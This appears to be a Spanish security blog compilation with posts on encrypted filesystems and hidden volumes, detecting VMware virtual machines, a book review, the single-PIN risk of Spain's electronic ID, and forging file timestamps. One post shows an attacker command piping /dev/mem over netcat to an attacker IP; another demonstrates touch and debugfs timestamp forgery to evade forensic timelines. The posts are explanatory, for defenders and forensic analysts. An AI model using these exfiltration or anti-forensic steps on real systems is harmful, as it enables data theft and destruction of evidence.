Sistemas de ficheros criptográficos

A estas alturas resulta redundante explicar los motivos para utilizar técnicas criptográficas. 

 

A lo largo de la historia hemos visto multitud de ejemplos que se resumen en la premisa de que alguien quiere mantener en secreto algo que a otro le gustaría saber. En el momento en que los ordenadores y los dispositivos de almacenamiento masivo comenzaron a ser "transportables" surgió inmediatamente la necesidad de encontrar mecanismos que permitieran proteger la información contenida en dichos dispositivos durante sus desplazamientos. Imagine el daño que podría ocasionar a un organismo estatal o a una gran empresa que a uno de sus empleados le robasen el portátil del trabajo en una gasolinera o en un aeropuerto. Por tanto, se necesitaba encontrar un medio que garantizase la confidencialidad de la información de los dispositivos portátiles de una manera cómoda y que no penalizase su uso. 

 

Por otro lado, existe la posibilidad de que el dueño de los datos se vea sujeto a presión para que descifre los datos con su clave. Imaginemos el caso de que se someta a tortura o interrogatorio a un empleado que trabaje en proyectos militares o a un disidente político que guarde en su portátil artículos de opinión que podrían llevarle ante un pelotón de fusilamiento. En esos casos resulta muy útil que existan mecanismos que ofrezcan denegabilidad de la información. Esos mecanismos permitirían descifrar ficheros "señuelo", de poca importancia o incluso directamente falsos, que permitirían engañar a los interrogadores, los cuales carecerían de medios para saber si esa es toda la información cifrada o si por el contrario hay algo más. 

 

Para responder a estos problemas los militares han venido desarrollando desde hace mucho tiempo sistemas de cifrado capaces de proteger los datos en caso de que los dispositivos de almacenamiento masivo cayesen en manos enemigas. A nivel civil, uno de los primeros ejemplos lo encontramos en el sistema de ficheros StegFS. Este sistema de ficheros permite no solo cifrar datos comprometedores sino aplicarles métodos esteganográficos que doten de la citada denegabilidad a la información. El desarrollo de StegFS esta parado actualmente y no se recomienda usarlo en infraestructuras modernas (de hecho sólo admite kernels de la rama 2.2.x), sin embargo su página web cuenta con varios papers, de lectura más que recomendable, que explican los fundamentos teóricos de este tipo de mecanismos. 

 

Otra opción, esta sí en desarrollo constante y que ha venido a recoger el testigo del sistema anterior, es TrueCrypt. Esta herramienta es multiplataforma (corre en Windows, Mac y Linux) y permite crear discos virtuales cifrados que se pueden montar como unidades normales del sistema, realizándose el cifrado-descifrado en tiempo real (on-the-fly), de manera que operar sobre los archivos cifrados resulta completamente transparente para el usuario. Al desmontar estos discos virtuales TrueCrypt los cifra en un único archivo sin que exista manera de que un atacante pueda saber cuantos archivos cifrados hay dentro del principal. Para todo ello el usuario utiliza una contraseña de su invención y uno de los algoritmos de cifrado simétrico que le ofrece la herramienta, como por ejemplo AES-256, Serpent o Twofish, entre otros. 

 

La utilidad de esta herramienta es evidente, podemos cifrar desde los datos personales que llevamos en nuestra memoria USB (por ejemplo nuestro certificado de la FNMT, listados de contraseñas, mapas de red o fotos personales) o incluso toda una partición, incluida la de arranque ya que TrueCrypt permite establecer una autentificación durante el inicio del equipo, de tal manera que si nos roban el portátil será prácticamente imposible que puedan extraer alguna información de su disco duro. 

 

TrueCrypt ofrece dos niveles de denegabilidad. Para empezar, sin la clave de descifrado los volúmenes cifrados de TrueCrypt son indistinguibles de cualquier otro tipo de ficheros con datos binarios, es decir, los ficheros que contienen los volúmenes cifrados por TrueCrypt carecen de cualquier tipo de firma que permita identificarlos como tales. De esta manera resulta fácil ocultarlos cambiando su extensión por otra como por ejemplo .iso, .raw, .img o lo que se nos ocurra... a TrueCrypt no le afectará la extensión que pongamos, a la hora de montar el volumen acepta cualquiera. 

 

El segundo nivel de denegabilidad corresponde a los volúmenes ocultos (hidden volumes) que consisten en crear un volumen cifrado dentro de otro de tal manera que el usuario tendrá dos contraseñas: una que abre el volumen cifrado principal, que contará con los ficheros señuelo, y otra que lo que abre es el volumen cifrado secundario (el que está dentro del principal) con los ficheros realmente importantes. Los creadores de TrueCrypt aseguran que no hay manera de averiguar si un volumen cifrado contiene a otro oculto. Además de todo lo anterior, Truecrypt resulta realmente sencillo de utilizar al basarse en un interfaz de ventanas realmente intuitivo. Por si fuera poco la documentación de su página web está muy bien organizada y resulta muy didáctica explicando de una manera clara y sencilla los fundamentos de las funcionalidades ofrecidas por la herramienta. 

 

Con esto ya no hay excusa para no llevar a buen recaudo nuestros datos en nuestros dispositivos portátiles, completamente a salvo de fugas por culpa de robos o espionaje. 

Detección de máquinas virtuales

La virtualización se ha extendido con fuerza a lo largo de los últimos años en los diseños de sistemas de las organizaciones, lo que no resulta extraño dada la economía de costes que ofrece, su facilidad de escalado y su tolerancia a errores. Tal es así que en la actualidad comienzan a oírse voces que abogan por basar los backoffice exclusivamente en soluciones de virtualización como las ofrecidas por VMware, Xen, VirtualBox o HiperV, entre otros. Sin embargo, dichas propuestas suelen ser fruto más del entusiasmo basado en las promesas del marketing que en el frío análisis técnico.

Probablemente el punto medio sea el más interesante y seguro, es decir, seguir utilizando máquinas físicas para los servicios críticos y contar con un soporte de virtualización que entre en juego en caso de caída de una de las máquinas físicas o como apoyo temporal en caso de saturación de carga de una de las granjas físicas. Otro campo muy interesante de las máquinas virtuales es el maquetizado durante las tareas de desarrollo o la creación de máquinas trampa o honeypots. En todo caso, y en mi humilde opinión, combinar en un mismo soporte de virtualización máquinas pertenecientes a distintos niveles de seguridad es completamente desaconsejable dadas las vulnerabilidades que comienzan a descubrirse y que ponen en duda el presunto aislamiento entre la máquina anfitrión y sus máquinas virtuales. En caso de que ese aislamiento se viese comprometido, un intruso podría intentar saltar de un nivel a otro evitando las defensas perimétricas o bien podría comprometer las máquinas alojadas en la misma plataforma de virtualización.

Ante estas vulnerabilidades es normal que comiencen a surgir técnicas para descubrir si una máquina es o no parte de una infraestructura de virtualización. Un intruso que descubra que se encuentra en una máquina virtual puede considerar mucho más provechoso atacar a la máquina anfitrión que usar a la máquina virtual como puente hacia el resto de la red. Estas técnicas analizan la máquina objetivo con el fin de detectar los indicios propios de una máquina virtual. Dichos indicios pueden ser de distintos tipos:

• Particularidades en los procesos, sistemas de ficheros y/o el registro.
• Particularidades en la memoria.
• Hardware virtual.
• Instrucciones de bajo nivel propias de las máquinas virtuales.

A lo largo de este artículo estudiaremos cada una de estas posibles pistas tomando como ejemplo el de una máquina virtual basada en VMware, por ser la plataforma más extendidas y, en cierta medida, paradigmática.

En el caso de VMware, el proceso más fácilmente detectable son las VMtools. Las VMtools constituyen un pack de herramientas propias de VMware que, de ser instaladas en una máquina virtual, permiten incrementar el rendimiento gráfico, así como establecer un canal de comunicación entre la máquina anfitriona y la virtual de manera que se puedan usar carpetas compartidas o drag-and-drop de ficheros. El problema es que todas estas funcionalidades tienen un precio y es que suponen un riesgo para la seguridad del sistema al abrir una brecha atacable en el aislamiento entre la máquina anfitriona y la virtual. El caso es que el uso de las VMtools activa un servicio que es fácilmente detectable dentro de la tabla de procesos de la máquina virtual. Además de lo anterior, un análisis exhaustivo del sistema de ficheros de una máquina virtual arrojaría más de 50 referencias a las palabras "vmware" y "vmx". Lo mismo se puede decir del Registro (en el caso de un Windows) que se vería "marcado" con más de 300 referencias en su registro a la palabra VMware. Por todo lo anterior, las VMtools deberían ser evitadas en lo posible, utilizándolas sólo tras un análisis de riesgos adecuado.

El segundo caso, el de la huella en la memoria, es prácticamente imposible de evitar. Si la máquina virtual fuera Linux, un atacante podría hacer un volcado de la memoria primaria con el fin de analizarla posteriormente en busca de la palabra "vmware". Para ello no tendría que hacer más que lo siguiente:

atacante$ nc -l -p 2000 -o memory_dump_genesys
 
victima$  sudo dd if=/dev/mem bs=100k | nc ip-atacante 2000

Tras la descarga, el análisis del volcado podría ser tan sencillo como lo siguiente:

atacante$ grep -ic vmware memory_dump_genesys
360
atacante$ grep -i vmware memory_dump_genesys<>

El problema que supone este enfoque para un atacante es su lentitud al tener que transmitir la imagen de la memoria (varios GB) a través de la red y la carga sobre la máquina atacada, que podría alertar a los administradores de la intrusión.
Otra opción es utilizar herramientas especializadas, como Scoopy o RedPill, capaces de detectar patrones de distribución de memoria propios de máquinas virtualizadas.

En cuanto al hardware virtual, el caso más sencillo de detectar es el de la tarjeta de red ya que suele ser habitual que los primeros 6 carácteres de la MAC señalen al fabricante de la tarjeta. En Internet hay multitud de buscadores que permiten identificar el fabricante de una tarjeta ethernet en función de su MAC. En el caso de VMware, sus interfaces ethernet virtuales se marcan con una MAC que es del tipo: 00:0C:29:xx:xx:xx.
Otro caso es el de los discos duros, ya que VMware permite la virtualización de discos duros SCSI. Una simple búsqueda en los logs de arranque ya avisa de que estamos ante una máquina virtual:

dante@dante-desktop:~$ cat /var/log/messages | grep scsi
Mar 19 21:17:57 dante-desktop kernel: [83993.729650] scsi0 : ata_piix
Mar 19 21:17:57 dante-desktop kernel: [83993.729955] scsi1 : ata_piix
Mar 19 21:17:57 dante-desktop kernel: [83994.585470] scsi 1:0:0:0: CD-ROM            PIONEER  DVD-RW  DVR-111D 1.23 PQ: 0 ANSI: 5
Mar 19 21:17:57 dante-desktop kernel: [83994.585847] scsi 1:0:1:0: CD-ROM            NECVMWar VMware IDE CDR11 1.00 PQ: 0 ANSI: 5
Mar 19 21:17:57 dante-desktop kernel: [83994.631853] sr0: scsi3-mmc drive: 40x/40x writer cd/rw xa/form2 cdda tray
Mar 19 21:17:57 dante-desktop kernel: [83994.634815] sr1: scsi3-mmc drive: 1x/1x xa/form2 cdda tray
Mar 19 21:17:57 dante-desktop kernel: [83994.648546] sr 1:0:0:0: Attached scsi generic sg0 type 5
Mar 19 21:17:57 dante-desktop kernel: [83994.648772] sr 1:0:1:0: Attached scsi generic sg1 type 5
Mar 19 21:17:57 dante-desktop kernel: [83994.931779] scsi2 : ioc0: LSI53C1030, FwRev=01032920h, Ports=1, MaxQ=128, IRQ=17
Mar 19 21:17:57 dante-desktop kernel: [83995.050997] scsi 2:0:0:0: Direct-Access     VMware,  VMware Virtual S 1.0  PQ: 0 ANSI: 2
Mar 19 21:17:57 dante-desktop kernel: [83995.063046] scsi 2:0:0:0: Attached scsi generic sg2 type 0
Mar 22 20:11:50 dante-desktop kernel: [88289.831746] scsi0 : ata_piix
Mar 22 20:11:50 dante-desktop kernel: [88289.835558] scsi1 : ata_piix
Mar 22 20:11:50 dante-desktop kernel: [88291.093663] scsi 1:0:0:0: CD-ROM            PIONEER  DVD-RW  DVR-111D 1.23 PQ: 0 ANSI: 5
Mar 22 20:11:50 dante-desktop kernel: [88291.101227] scsi 1:0:1:0: CD-ROM            NECVMWar VMware IDE CDR11 1.00 PQ: 0 ANSI: 5
Mar 22 20:11:50 dante-desktop kernel: [88291.380171] scsi2 : ioc0: LSI53C1030, FwRev=01032920h, Ports=1, MaxQ=128, IRQ=16
Mar 22 20:11:50 dante-desktop kernel: [88291.504844] scsi 2:0:0:0: Direct-Access     VMware,  VMware Virtual S 1.0  PQ: 0 ANSI: 2
Mar 22 20:11:50 dante-desktop kernel: [88296.060604] sr0: scsi3-mmc drive: 40x/40x writer cd/rw xa/form2 cdda tray
Mar 22 20:11:50 dante-desktop kernel: [88296.076810] sr1: scsi3-mmc drive: 1x/1x xa/form2 cdda tray
Mar 22 20:11:50 dante-desktop kernel: [88296.159975] sr 1:0:0:0: Attached scsi generic sg0 type 5
Mar 22 20:11:50 dante-desktop kernel: [88296.160101] sr 1:0:1:0: Attached scsi generic sg1 type 5
Mar 22 20:11:50 dante-desktop kernel: [88296.160215] scsi 2:0:0:0: Attached scsi generic sg2 type 0

Por si esto no fuera suficientemente claro, una simple llamada al comando sdparm confirmaría este punto:

dante@dante-desktop:~$ sudo sdparm -a /dev/sda1
/dev/sda1: VMware,   VMware Virtual S  1.0

En fin, con esto queda demostrado que la virtualización efectuada por VMware no es nada "anónima". Pero aún queda la traca final en lo que a identificación de hardware virtual se refiere, porque puestos a identificar los controladores del hardware el resultado resulta bastante clarificador:

dante@dante-desktop:~$ lspci -v
00:00.0 Host bridge: Intel Corporation 440BX/ZX/DX - 82443BX/ZX/DX Host bridge (rev 01)
Subsystem: VMware Inc virtualHW v3
Flags: bus master, medium devsel, latency 0

00:01.0 PCI bridge: Intel Corporation 440BX/ZX/DX - 82443BX/ZX/DX AGP bridge (rev 01) (prog-if 00 [Normal decode])
Flags: bus master, 66MHz, medium devsel, latency 0
Bus: primary=00, secondary=01, subordinate=01, sec-latency=64

00:07.0 ISA bridge: Intel Corporation 82371AB/EB/MB PIIX4 ISA (rev 08)
Subsystem: VMware Inc virtualHW v3
Flags: bus master, medium devsel, latency 0

00:07.1 IDE interface: Intel Corporation 82371AB/EB/MB PIIX4 IDE (rev 01) (prog-if 8a [Master SecP PriP])
Subsystem: VMware Inc virtualHW v3
Flags: bus master, medium devsel, latency 64
[virtual] Memory at 000001f0 (32-bit, non-prefetchable) [disabled] [size=8]
[virtual] Memory at 000003f0 (type 3, non-prefetchable) [disabled] [size=1]
[virtual] Memory at 00000170 (32-bit, non-prefetchable) [disabled] [size=8]
[virtual] Memory at 00000370 (type 3, non-prefetchable) [disabled] [size=1]
I/O ports at 1050 [size=16]

00:07.2 USB Controller: Intel Corporation 82371AB/EB/MB PIIX4 USB (prog-if 00 [UHCI])
Subsystem: VMware Inc virtualHW v3
Flags: bus master, medium devsel, latency 64, IRQ 18
I/O ports at 1060 [size=32]

00:07.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 08)
Subsystem: VMware Inc virtualHW v3
Flags: medium devsel, IRQ 9

00:0f.0 VGA compatible controller: VMware Inc [VMware SVGA II] PCI Display Adapter (prog-if 00 [VGA])
Subsystem: VMware Inc [VMware SVGA II] PCI Display Adapter
Flags: bus master, medium devsel, latency 64
I/O ports at 1440 [size=16]
Memory at f0000000 (32-bit, non-prefetchable) [size=128M]
Memory at e8000000 (32-bit, non-prefetchable) [size=8M]
[virtual] Expansion ROM at 20010000 [disabled] [size=32K]

00:10.0 SCSI storage controller: LSI Logic / Symbios Logic 53c1030 PCI-X Fusion-MPT Dual Ultra320 SCSI (rev 01)
Flags: bus master, medium devsel, latency 64, IRQ 16
I/O ports at 1080 [size=128]
Memory at e8810000 (32-bit, non-prefetchable) [size=4K]
[virtual] Expansion ROM at 20018000 [disabled] [size=16K]

00:11.0 Ethernet controller: Intel Corporation 82545EM Gigabit Ethernet Controller (Copper) (rev 01)
Subsystem: VMware Inc Unknown device 0750
Flags: bus master, 66MHz, medium devsel, latency 0, IRQ 17
Memory at e8820000 (64-bit, non-prefetchable) [size=128K]
Memory at e8800000 (64-bit, non-prefetchable) [size=64K]
I/O ports at 1450 [size=8]
[virtual] Expansion ROM at 20000000 [disabled] [size=64K]
Capabilities: 

00:12.0 Multimedia audio controller: Ensoniq ES1371 [AudioPCI-97] (rev 02)
Subsystem: Ensoniq Creative Sound Blaster AudioPCI64V, AudioPCI128
Flags: bus master, ?? devsel, latency 64, IRQ 18
I/O ports at 1400 [size=64]

El creador de Scoopy, Tobias Klein, también desarrolló una herramienta, llamada Doo, capaz de detectar máquinas virtuales basándose en análisis del hardware similares a los anteriores.

Por último, queda mencionar las instrucciones de bajo nivel propias de máquinas virtuales. Las soluciones de virtualización introducen estas instrucciones con el fin de facilitar la comunicación entre la máquina virtual y la anfitriona. Herramientas como VMDetect utilizan estas instrucciones para detectar cuando una máquina está en realidad virtualizada, para ello lo que hacen es llamar a esas instrucciones, si surge una excepción estamos ante una máquina física, si por el contrario la instrucción se ejecuta entonces estaremos ante una máquina virtual.

Todos estos vectores de detección deberían alertar contra la presunta infalibilidad de la virtualización que se intenta vender a través de los canales comerciales. Es cierto que la virtualización puede suponer importantes ventajas para las organizaciones pero sólo si se despliega correctamente y con prudencia, hacerlo de otro modo puede conducir, como pasa con todas las obras humanas, al desastre.

Silence on the wire

El problema de muchos libros de seguridad es que se limitan a enumerar una serie de ataques contra vulnerabilidades en servicios habituales. Lo que le pasa a estos libros es que pierden validez conforme van saliendo los parches para las vulnerabilidades que mencionan, de manera que para cuando llegan a las imprentas ya están completa y totalmente obsoletos. 

 

Sin embargo hay otros que optan por ser más conceptuales y describir los riesgos provocados por los diseños en vez de por las implementaciones. 

 

Estos libros son mucho más didácticos al ahondar en la naturaleza de los protocolos y sistemas, además su vigencia es mucho más prolongada ya que los problemas de un estándar siguen allí hasta la aparición del siguiente estándar (piense por ejemplo en los problemas de seguridad de sistema WEP).  

 

Silence on the wire pertenece a este segundo grupo de libros. En él, su autor Michal Zalewski realiza un estudio acerca de técnicas de reconocimiento pasivo y de ataques indirectos de una manera bastante ecléptica, tratando temas que van desde la deducción de contraseñas basándose en la temporización de pulsaciones de teclado, al uso parasitario de la potencia de proceso de redes completas de ordenadores sin permiso de sus dueños, pasando por temas tan sugerentes como el uso de la misma infraestructura de la red como medio de almacenamiento masivo de manera oculta y anónima, entre otros. 

 

Algunos de los capítulos tienen un fuerte carácter especulativo y en un primer vistazo pueden parecer difícilmente factibles pero lo cierto es que todos ellos son vectores de ataque en los que rara vez se repara y que sirven de demostración palpable de que hasta el último resquicio en el diseño de un sistema puede ser utilizado por un atacante lo suficientemente motivado para comprometerlo. 

 

Otros de los capítulos de este libro fueron antes papers del autor que tuvieron una gran acogida por lo innovador de su enfoque y los riesgos de lo que alertaba, como es el caso de su estudio de las implementaciones de generadores de números pseudoaleatorios (PRGN) de los sistemas operativos más usados, en el que utilizaba una transformada matemática que permitía representar espacialmente los valores que iban sacando estos generadores y con ello demostrar que muchos de ellos sacaban valores predecibles estadísticamente. 

 

Por todo lo anterior y por mucho más este es un libro excelente que debería ser imprescindible en la biblioteca de cualquier estudioso de la seguridad informática, advirtiendo eso sí, que la lectura de esta obra presupone unos conocimientos ya adquiridos sobre redes y sus protocolos como los que se pueden obtener a través de Kurose&Ross , Tanenbaum o Stallings. 

¿Es seguro el DNI electrónico?

Hace poco tuve la oportunidad de asistir a una conferencia impartida por el Ministerio de Administraciones Públicas acerca del DNI electrónico y las nuevas oportunidades que brinda. 

 

La verdad es que fue muy interesante y es cierto que el eDNI electrónico puede ser una de las claves para la entrada definitiva de España en la Sociedad de la Información. 

 

El conferenciante nos explicó los esfuerzos que se están realizando a lo largo y ancho de Europa para impulsar medidas semejantes a nuestro eDNI. Mencionó que la gran mayoría de los países ha incluido en la tarjeta dos certificados: uno para firmar y otro para autentificarse, lo cual en términos de seguridad resulta correcto. 

 

El problema vino cuando contó que en España se había optado por un PIN único para el desbloqueo de los certificados, en vez de hacer como en otros países que han preferido usar dos PINs, uno para cada certificado. El dato me cogió por sorpresa, aún no tengo el eDNI y no he podido cacharrear con él, pero el oír que sólo se contaba con un sólo PIN me preocupó bastante... la verdad es que daba por sentado que se usaban dos. 

 

¿Qué importa que el eDNI use un único PIN?, bueno, en mi opinión abre la puerta a ataques combinados de ingeniería social y troyanos. Imaginemos una situación en la que al usuario se le convence de que debe autentificarse ante una página web. El usuario introduce su PIN para desbloquear el uso de sus certificados y elige el de autentificación. Pero ¿qué pasaría si el atacante hubiera instalado un troyano en el PC del usuario que interfiriese en el funcionamiento del software de autentificación e interceptase el PIN introducido para usarlo contra el certificado de firmado?, el resultado sería que el usuario pensaría que se está autentificando pero cuando en realidad está firmando Dios sabe qué en segundo plano (p.ej un contrato de venta de su casa). 

 

Le plantee este riesgo al conferenciante y este me respondió que ese riesgo era demasiado remoto. Ningún riesgo es demasiado remoto cuando hay tanto dinero en juego y así se lo dije, él me respondió que para que eso funcionase se debería contar con el código fuente de los drivers de acceso a la tarjeta y estos son cerrados. La verdad es que no me estaba infundiendo mucha confianza. Le respondí que la seguridad por oscuridad no es seguridad y que antes o después el código fuente del driver saldría a la luz. Para mi sorpresa, admitió que eso quizás ocurriese más pronto que tarde porque ya había gente que pedía acceso a esos drivers para empezar a desarrollar aplicaciones que saquen juego al eDNI. 

 

Al final, reconoció que se trataba de una decisión en la que se había intentado sopesar no sólo la seguridad del producto sino también su usabilidad. Añadió que el eDNI contaba con una larga lista de certificaciones que garantizan la seguridad del sistema. 

 

 No dudo de que la gente del MAP se lo ha pensado mucho a la hora de diseñar el eDNI, pero me da la sensación de que en un momento determinado temieron que la gente no fuese capaz de memorizar dos PINs distintos y que eso conllevase el fracaso de la iniciativa. 

 

En fin, es cierto que la población española no se distingue por su amplia cultura informática, pero la verdad es que no me imagino a mi padre delante del cajero de la comisaría recogiendo sus certificados sino que más bien, los usuarios naturales del eDNI son personas acostumbradas a navegar por Internet y por tanto a manejar contraseñas. 

 

En mi modesta opinión, y vuelvo a reconocer que aún no he puesto mis manos sobre un eDNI, se debería haber optado por usar dos PINs como se ha hecho en otros países. No creo que hubiera supuesto una dificultad adicional a los verdaderos usuarios del eDNI y además habría impedido el ataque antes mencionado ya que cazar el PIN del certificado de autentificación no serviría para desbloquear el de firmado. 

 

Esperemos que esa decisión de diseño no se convierta en un agujero de seguridad que ponga en entredicho el esfuerzo invertido en el DNI Electrónico y las esperanzas puestas en él.

Falsificación de timestamps

Recientemente tuve que hacer el análisis forense de un servidor de mi organización que había sufrido una intrusión.

El vector de entrada resultó evidente en cuanto pude cruzar unas cuantas palabras con el administrador de la máquina... una vez más, una enorme inversión en infraestructura de seguridad había sido anulada por un administrador que había pasado de nuestras recomendaciones y había utilizado una palabra de diccionario como contraseña. El ataque había sido de manual. Los logs anunciaban una fase de ataque de fuerza bruta, seguidas finalmente por "logueos" desde direcciones IP de otros países. Pronto localicé en un directorio oculto un paquete de herramientas de escaneo de redes y de ataques de fuerza bruta. Por los que pudimos ver no parecía que les hubiese dado tiempo a utilizar el servidor comprometido como puente hacia nuestra red.

Visto lo visto decidimos formatear la máquina, reinstalarla, parchearla, limitar al máximo los servicios que corría y asegurarnos de que el administrador ponía una contraseña solvente... sin contar con hacer un poco más exigentes los umbrales de nuestro IDS/IPS.

Nada se salía de la rutina... y eso fue lo que me hizo darle vueltas a la posibilidad de que todo aquello no hubiera sido más que un señuelo. Todo estaba tan claro desde que el administrador me había dicho su contraseña que cuando encontré la carpeta oculta e hice una búsqueda de timestamps "demasiado actuales" en el sistema (sin resultado) dí por cerrada la investigación (otras cosas urgían). El problema es que los "timestamps" o marcas temporales de modificación de los ficheros no son nada fiables. A pesar de eso, muchos programas de análisis forense como Autopsy/SleuthKit o Forensics Toolkit utilizan las marcas de tiempo de los ficheros para elaborar los llamados timelines que permiten seguir el rastro de modificaciones que va realizando el intruso. En el caso del ataque que me tocó investigar había un rastro de marcas de tiempo muy claro. Sin embargo, pensándolo en frío, aquel rastro denotaba o bien que el atacante era muy descuidado o que dejó una pista falsa para que la siguiese.

Al fin y al cabo, falsificar la marca de tiempo de un fichero no es nada difícil. Por ejemplo, si creamos un fichero, este tendrá como marca de tiempo la fecha y la hora de nuestro equipo en ese momento. Cada vez que modifiquemos el fichero la marca de tiempo se actualizará a la fecha y hora a la que se realice la modificación. Teniendo en cuenta que gran parte de los ficheros de un servidor permanecen sin modificarse largos periodos de tiempo sus marcas de tiempo suelen ser muy antiguas, por eso una modificación reciente por parte de un intruso suele llamar poderosamente la atención. Sin embargo, si el atacante es cuidadoso utilizará la orden touch para poner su antigua marca de tiempo a todos los archivos que vaya modificando. Veamos un ejemplo, supongamos que creamos un fichero de prueba:

dante@dante-desktop:~/pruebas$ echo prueba > test.txt
dante@dante-desktop:~/pruebas$ ls -l test.txt
-rw-r--r-- 1 dante dante 7 2008-03-01 06:18 test.txt

Tras unos minutos modificamos el fichero que acabamos de crear:

dante@dante-desktop:~/pruebas$ echo prueba2 >> test.txt
dante@dante-desktop:~/pruebas$ ls -l test.txt
-rw-r--r-- 1 dante dante 15 2008-03-01 06:22 test.txt

Como se puede ver, la marca de tiempo se ha actualizado.Si quisiéramos ocultar esta modificación falsificando la marca de tiempos no tendríamos más que usar el comando touch:

dante@dante-desktop:~/pruebas$ touch -t 03010618 test.txt
dante@dante-desktop:~/pruebas$ ls -l test.txt
-rw-r--r-- 1 dante dante 15 2008-03-01 06:18 test.txt

Esta funcionalidad es fácilmente integrable en scripts que permitan restaurar las marcas de tiempo de directorios enteros. Como demostración de ello desarrollé en su momento TSpoofer, una herramienta hecha en python que permite recopilar las marcas de tiempo de los ficheros y directorios que cuelguen del que definamos de tal manera que se puedan restablecer dichas marcas de tiempo tras realizar modificaciones los ficheros anulando con ello el rastro que captarían los timelines.

Queda demostrado que es muy fácil falsificar las marcas de tiempo de los ficheros anulando con ello la utilidad de los timelines de las herramientas forenses. Será necesario tenerlo muy presente a la hora de hacer estudios forenses: los timelines ayudan pero sólo con los atacantes menos cuidadosos.



Actualización del 19 de marzo de 2008--> Algo estupendo de la seguridad informática es que siempre se están aprendiendo cosas nuevas. En ese sentido he descubierto que utilizar un "ls -l" es sólo una manera muy superficial de comprobar el timestamp de modificación de un fichero, ya que sólo muestra el mtime del inodo. Me explico, los timestamps constan de 3 componentes: mtime, atime y ctime. El mtime marca la la fecha y hora de la última escritura en el fichero, atime la última lectura del fichero y ctime el último cambio del fichero. Hay que tener en cuenta una confusión muy habitual, en la que debo incluirme hasta hoy, por la cual muchos creen que ctime corresponde a creation-time cuando en realidad se refiere, al menos en linux, change-time. ¿Cual es la diferencia entre mtime y ctime? pues que ctime es un superconjunto de mtime, es decir, cuando mtime se actualiza lo hace ctime, pero hay veces en que ctime se actualiza pero mtime no. Eso ocurre en los casos en los que el fichero se actualiza pero no su contenido, por ejemplo al cambiar los permisos asociados al fichero.
Como demostración vamos a realizar las mismas pruebas de antes pero esta vez usando el comando find para visualizar los timestamps.

dante@dante-desktop:~/pruebas$ date
mié mar 19 13:53:23 CET 2008
dante@dante-desktop:~/pruebas$ echo prueba > prueba.txt
dante@dante-desktop:~/pruebas$ find ./ -printf "%m; %Ax;%AT; %Tx;%TT; %Cx;%CT; %U;%U;%G;%s;%p\n" | grep prueba.txt
644; 19/03/08;13:53:27; 19/03/08;13:53:27; 19/03/08;13:53:27; 1000;1000;1000;7;./prueba.txt

Gracias a find podemos visualizar el timestamp completo, la primera terna (fecha;hora) correspondería al atime, la segunda al mtime y la tercera al ctime.

dante@dante-desktop:~/pruebas$ echo prueba2 >> prueba.txt
dante@dante-desktop:~/pruebas$ find ./ -printf "%m; %Ax;%AT; %Tx;%TT; %Cx;%CT; %U;%U;%G;%s;%p\n" | grep prueba.txt
644; 19/03/08;13:53:27; 19/03/08;14:00:14; 19/03/08;14:00:14; 1000;1000;1000;15;./prueba.txt

Se puede ver que el atime sigue igual ya que no he leido el fichero sino que he introducido datos en él, pero tanto el mtime como el atime se ha actualizado al escribir en el fichero.

dante@dante-desktop:~/pruebas$ chmod 666 ./prueba.txt
dante@dante-desktop:~/pruebas$ find ./ -printf "%m; %Ax;%AT; %Tx;%TT; %Cx;%CT; %U;%U;%G;%s;%p\n" | grep prueba.txt
666; 19/03/08;13:53:27; 19/03/08;14:00:14; 19/03/08;14:08:05; 1000;1000;1000;15;./prueba.txt

Esta prueba demuestra la diferencia entre mtime y ctime. Hemos cambiado el fichero al alterar sus permisos, lo que queda grabado en el ctime, pero como dicho cambio no suponía escribir datos en el fichero el mtime sigue igual. De ahí la diferencia de 8 segundos que aparece entre el mtime y el ctime.

Queda ver qué pasará al usar el comando touch.

dante@dante-desktop:~/pruebas$ echo prueba3 >> prueba.txt
dante@dante-desktop:~/pruebas$ find ./ -printf "%m; %Ax;%AT; %Tx;%TT; %Cx;%CT; %U;%U;%G;%s;%p\n" | grep prueba.txt
666; 19/03/08;13:53:27; 19/03/08;14:14:56; 19/03/08;14:14:56; 1000;1000;1000;23;./prueba.txt
dante@dante-desktop:~/pruebas$touch -t 03081400.14 ./prueba.txt
dante@dante-desktop:~/pruebas$ find ./ -printf "%m; %Ax;%AT; %Tx;%TT; %Cx;%CT; %U;%U;%G;%s;%p\n" | grep prueba.txt
666; 08/03/08;14:00:14; 08/03/08;14:00:14; 19/03/08;14:18:43; 1000;1000;1000;23;./prueba.txt

Parece que "touch -t" modifica tanto el atime, como el mtime, para corregir el atime se usa "touch -a -t".

dante@dante-desktop:~/pruebas$ touch -a -t 03081353.27 ./prueba.txt
dante@dante-desktop:~/pruebas$ find ./ -printf "%m; %Ax;%AT; %Tx;%TT; %Cx;%CT; %U;%U;%G;%s;%p\n" | grep prueba.txt
666; 08/03/08;13:53:27; 08/03/08;14:00:14; 19/03/08;14:21:00; 1000;1000;1000;23;./prueba.txt
dante@dante-desktop:~/pruebas$ ls -l ./prueba.txt
-rw-rw-rw- 1 dante dante 23 2008-03-08 14:00 ./prueba.txt

El problema es que touch no cuenta con ninguna posibilidad para modificar el ctime. Usando esta herramienta un intruso puede engañar a un administrador que se limitase a examinar su sistema de ficheros con un "ls -l" pero no a uno más concienzudo que utilizase find o un "ls -l --time=ctime".

¿Debemos cantar victoria?... aún no. Si bien un intruso no podría contar con touch para borrar sus huellas sí que podría usar una herramienta de bajo nivel llamada debugfs (para sistemas ext2/ext3, para sistemas reiser tenemos debugfs.reiser4) para modificar el ctime del fichero. Esta herramienta requiere de privilegios de superusuario, es muy delicada ya que un fallo puede corromper la tabla de ficheros, resulta más difícil de integrar en un script y por lo que he podido ver, necesita que se reinicie el sistema para que se muestren los cambios si estos se realizan sobre un sistema de ficheros vivo. Su uso sería el siguiente:

dante@dante-desktop:~/pruebas$ ls -li
total 28
96984 -rw-rw-rw-   1 dante dante   23 2008-03-08 14:00 prueba.txt
dante@dante-desktop:~/pruebas$ sudo debugfs -w /dev/sda1
debugfs 1.40.2 (12-Jul-2007)
debugfs:  mi <96984>
Mode    [0100666]
User ID    [1000]
Group ID    [1000]
Size    [23]
Creation time    [1205932874] 1204981214
Modification time    [1204981214]
Access time    [1204980807]
Deletion time    [0]
Link count    [1]
Block count high    [0]
Block count    [8]
File flags    [0x0]
Generation    [0x4091865b]
File acl    [0]
High 32bits of size    [0]
Fragment address    [0]
Direct Block #0    [204803]
Direct Block #1    [0]
Direct Block #2    [0]
Direct Block #3    [0]
Direct Block #4    [0]
Direct Block #5    [0]
Direct Block #6    [0]
Direct Block #7    [0]
Direct Block #8    [0]
Direct Block #9    [0]
Direct Block #10    [0]
